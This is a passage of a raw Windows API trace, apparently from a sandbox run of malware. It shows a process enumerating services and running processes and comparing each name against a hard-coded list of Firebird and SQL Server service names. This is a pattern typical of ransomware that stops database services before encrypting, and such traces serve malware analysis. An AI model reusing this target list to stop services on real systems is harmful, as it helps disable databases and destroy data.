(lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0292.913] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0292.913] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0292.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0292.913] lstrlenW (lpString="Schedule") returned 8 [0292.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0292.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0292.913] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0292.913] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0292.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0292.913] lstrlenW (lpString="SecurityHealthService") returned 21 [0292.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0292.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0292.913] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0292.913] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0292.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0292.913] lstrlenW (lpString="SENS") returned 4 [0292.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0292.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0292.913] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0292.913] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0292.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0292.913] lstrlenW (lpString="ShellHWDetection") returned 16 [0292.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0292.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0292.913] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0292.913] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0292.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0292.913] lstrlenW (lpString="Spooler") returned 7 [0292.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0292.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0292.913] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0292.914] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0292.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0292.914] lstrlenW (lpString="SSDPSRV") returned 7 [0292.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0292.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0292.914] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0292.917] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0292.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0292.917] lstrlenW (lpString="StateRepository") returned 15 [0292.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0292.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0292.918] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0292.918] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0292.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0292.918] lstrlenW (lpString="SysMain") returned 7 [0292.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0292.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0292.918] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0292.918] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0292.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0292.918] lstrlenW (lpString="SystemEventsBroker") returned 18 [0292.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0292.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0292.918] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0292.918] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0292.918] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1088 [0292.922] Process32FirstW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0292.923] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0292.923] lstrlenW (lpString="System") returned 6 [0292.923] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0292.924] lstrlenW (lpString="smss.exe") returned 8 [0292.924] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0292.925] lstrlenW (lpString="csrss.exe") returned 9 [0292.925] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0292.925] lstrlenW (lpString="wininit.exe") returned 11 [0292.925] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0292.926] lstrlenW (lpString="csrss.exe") returned 9 [0292.926] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0292.927] lstrlenW (lpString="winlogon.exe") returned 12 [0292.927] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0292.927] lstrlenW (lpString="services.exe") returned 12 [0292.928] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0292.928] lstrlenW (lpString="lsass.exe") returned 9 [0292.928] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0292.929] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0292.929] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0293.242] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0293.242] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.243] lstrlenW (lpString="svchost.exe") returned 11 [0293.243] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.244] lstrlenW (lpString="svchost.exe") returned 11 [0293.244] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0293.245] lstrlenW (lpString="dwm.exe") returned 7 [0293.245] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x43, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.246] lstrlenW (lpString="svchost.exe") returned 11 [0293.246] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.247] lstrlenW (lpString="svchost.exe") returned 11 [0293.247] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.248] lstrlenW (lpString="svchost.exe") returned 11 [0293.267] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.268] lstrlenW (lpString="svchost.exe") returned 11 [0293.268] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.269] lstrlenW (lpString="svchost.exe") returned 11 [0293.269] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.270] lstrlenW (lpString="svchost.exe") returned 11 [0293.270] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.271] lstrlenW (lpString="svchost.exe") returned 11 [0293.271] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.272] lstrlenW (lpString="svchost.exe") returned 11 [0293.272] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.272] lstrlenW (lpString="svchost.exe") returned 11 [0293.273] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.273] lstrlenW (lpString="svchost.exe") returned 11 [0293.273] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0293.274] lstrlenW (lpString="spoolsv.exe") returned 11 [0293.274] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.275] lstrlenW (lpString="svchost.exe") returned 11 [0293.275] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0293.276] lstrlenW (lpString="audiodg.exe") returned 11 [0293.276] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0293.277] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0293.277] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0293.278] lstrlenW (lpString="Memory Compression") returned 18 [0293.278] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0293.279] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0293.279] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0293.280] lstrlenW (lpString="sihost.exe") returned 10 [0293.280] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.281] lstrlenW (lpString="svchost.exe") returned 11 [0293.281] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0293.281] lstrlenW (lpString="taskhostw.exe") returned 13 [0293.281] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0293.282] lstrlenW (lpString="msoia.exe") returned 9 [0293.282] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0293.283] lstrlenW (lpString="explorer.exe") returned 12 [0293.283] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0293.284] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0293.284] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0293.285] lstrlenW (lpString="SearchUI.exe") returned 12 [0293.285] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0293.285] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0293.286] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0293.286] lstrlenW (lpString="load0.exe") returned 9 [0293.286] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.604] lstrlenW (lpString="svchost.exe") returned 11 [0293.604] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0293.604] CloseHandle (hObject=0x1088) returned 1 [0293.604] Sleep (dwMilliseconds=0x1f4) [0294.160] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7bd6e8 [0294.161] EnumServicesStatusExW (in: hSCManager=0x7bd6e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 0 [0294.161] GetLastError () returned 0xea [0294.161] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1d10) returned 0x37b20c0 [0294.161] EnumServicesStatusExW (in: hSCManager=0x7bd6e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37b20c0, cbBufSize=0x1d10, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37b20c0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 1 [0294.162] CloseServiceHandle (hSCObject=0x7bd6e8) returned 1 [0294.162] lstrlenW (lpString="Appinfo") returned 7 [0294.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0294.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0294.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0294.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0294.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0294.163] lstrlenW (lpString="AppXSvc") returned 7 [0294.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0294.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0294.163] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0294.163] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0294.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0294.163] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0294.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0294.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0294.163] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0294.163] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0294.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0294.163] lstrlenW (lpString="Audiosrv") returned 8 [0294.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0294.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0294.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0294.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0294.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0294.163] lstrlenW (lpString="BFE") returned 3 [0294.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0294.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0294.163] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0294.163] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0294.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0294.163] lstrlenW (lpString="BITS") returned 4 [0294.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0294.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0294.164] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0294.164] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0294.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0294.164] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0294.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0294.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0294.164] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0294.164] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0294.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0294.164] lstrlenW (lpString="CDPSvc") returned 6 [0294.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0294.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0294.164] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0294.164] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0294.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0294.164] lstrlenW (lpString="ClickToRunSvc") returned 13 [0294.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0294.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0294.164] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0294.164] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0294.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0294.164] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0294.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0294.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0294.164] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0294.164] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0294.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0294.165] lstrlenW (lpString="CryptSvc") returned 8 [0294.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0294.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0294.165] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0294.165] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0294.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0294.165] lstrlenW 